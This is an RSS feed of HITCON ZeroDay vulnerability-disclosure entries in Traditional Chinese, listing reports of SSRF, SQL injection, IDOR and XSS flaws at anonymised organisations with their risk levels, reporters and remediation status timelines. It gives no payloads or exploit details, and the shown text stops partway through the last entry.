zeroday_.xml

<rss version="2.0" encoding="UTF-8"><channel><title>HITCON ZeroDay - 活動中漏洞</title><link>https://zeroday.hitcon.org/vulnerability</link><description>ZeroDay 是一個銜接資安專家與組織間的良性溝通橋樑的漏洞提報平台，專門協助接獲漏洞通報並提報予組織和修正漏洞等服務。</description><author>HITCON ZeroDay</author><image><url>https://zeroday.hitcon.org/images/favicon/favicon.png</url></image><language>zh_TW</language><copyright>HITCON ZeroDay</copyright><item><title>[Bounty]  某單位  SSRF 漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00630</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-medium-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00630
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      [Bounty]  某單位  SSRF 漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      SSRF
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    複測申請中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/19
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-medium">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已修補
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       複測中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/06 14:50:17
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 K4iBr0 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/08 00:42:52
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/24 11:17:23
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 組織帳號 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/24 12:02:24
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      未修補完成 (由 K4iBr0 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/16 09:43:32
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 組織帳號 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/16 09:43:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 組織帳號 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/03 09:13:50
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 組織帳號 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 15:31:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 組織帳號 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00630
    </li>
    <li>
     通報者：Kaibro (
     <a href="/user/Kaibro">
      K4iBr0
     </a>
     )
    </li>
    <li>
     風險：中
    </li>
    <li>
     類型：Server-Side Request Forgery (SSRF)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sat, 06 Aug 2022 14:50:17 GMT</pubDate></item><item><title> 某單位  SQLi漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00851</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-medium-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00851
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  SQLi漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      該網站存在SQLi漏洞
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
    Last Update : 2022/10/19
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-medium">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/09 13:12:49
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 百鬼夜行 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/09 13:13:33
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 百鬼夜行 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:37:43
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 14:44:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 14:44:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 14:44:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00851
    </li>
    <li>
     通報者：bpejfjsp1 (
     <a href="/user/bpejfjsp1">
      百鬼夜行
     </a>
     )
    </li>
    <li>
     風險：中
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sun, 09 Oct 2022 13:12:49 GMT</pubDate></item><item><title> 某單位 特殊選才報名系統資料外洩</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00850</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00850
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 特殊選才報名系統資料外洩
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      登入後可透過更改 URL 獲取他人個資
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/19
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/09 03:43:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 喵喵喵 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:37:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 14:41:26
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 14:41:26
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 14:41:26
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00850
    </li>
    <li>
     通報者：liaojason2 (
     <a href="/user/liaojason2">
      喵喵喵
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sun, 09 Oct 2022 03:43:35 GMT</pubDate></item><item><title> 某單位  XSS漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00882</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00882
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  XSS漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      XSS
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/19
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/19 11:35:20
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 chris 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 12:01:42
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 chris 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 13:20:54
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 chris 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 14:41:01
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00882
    </li>
    <li>
     通報者：y22876334 (
     <a href="/user/y22876334">
      chris
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Wed, 19 Oct 2022 11:35:20 GMT</pubDate></item><item><title> 某單位 後台上傳功能未關</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00881</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00881
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 後台上傳功能未關
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      利用ckfinder找到後台並且具有權限
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/19
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/18 16:43:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 14:40:38
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00881
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Tue, 18 Oct 2022 16:43:37 GMT</pubDate></item><item><title> 某單位 檔案內容未過濾導致XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00879</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00879
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 檔案內容未過濾導致XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      上傳檔案內容未過濾導致XSS
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/19
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/17 18:03:04
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 14:34:43
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00879
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：預存式跨站腳本攻擊 (Stored Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 17 Oct 2022 18:03:04 GMT</pubDate></item><item><title> 某單位  網站存在 SQL injection 與 XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00876</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00876
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  網站存在 SQL injection 與 XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      網站存在 XSS 與 SQL injection
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/19
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/17 00:42:33
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 bttea 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 00:45:08
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 bttea 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 00:59:51
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 bttea 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 01:03:55
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 bttea 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 01:06:15
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 bttea 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 01:08:01
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 bttea 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 01:11:52
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 bttea 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/19 14:34:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00876
    </li>
    <li>
     通報者：blacktea_player (
     <a href="/user/blacktea_player">
      bttea
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
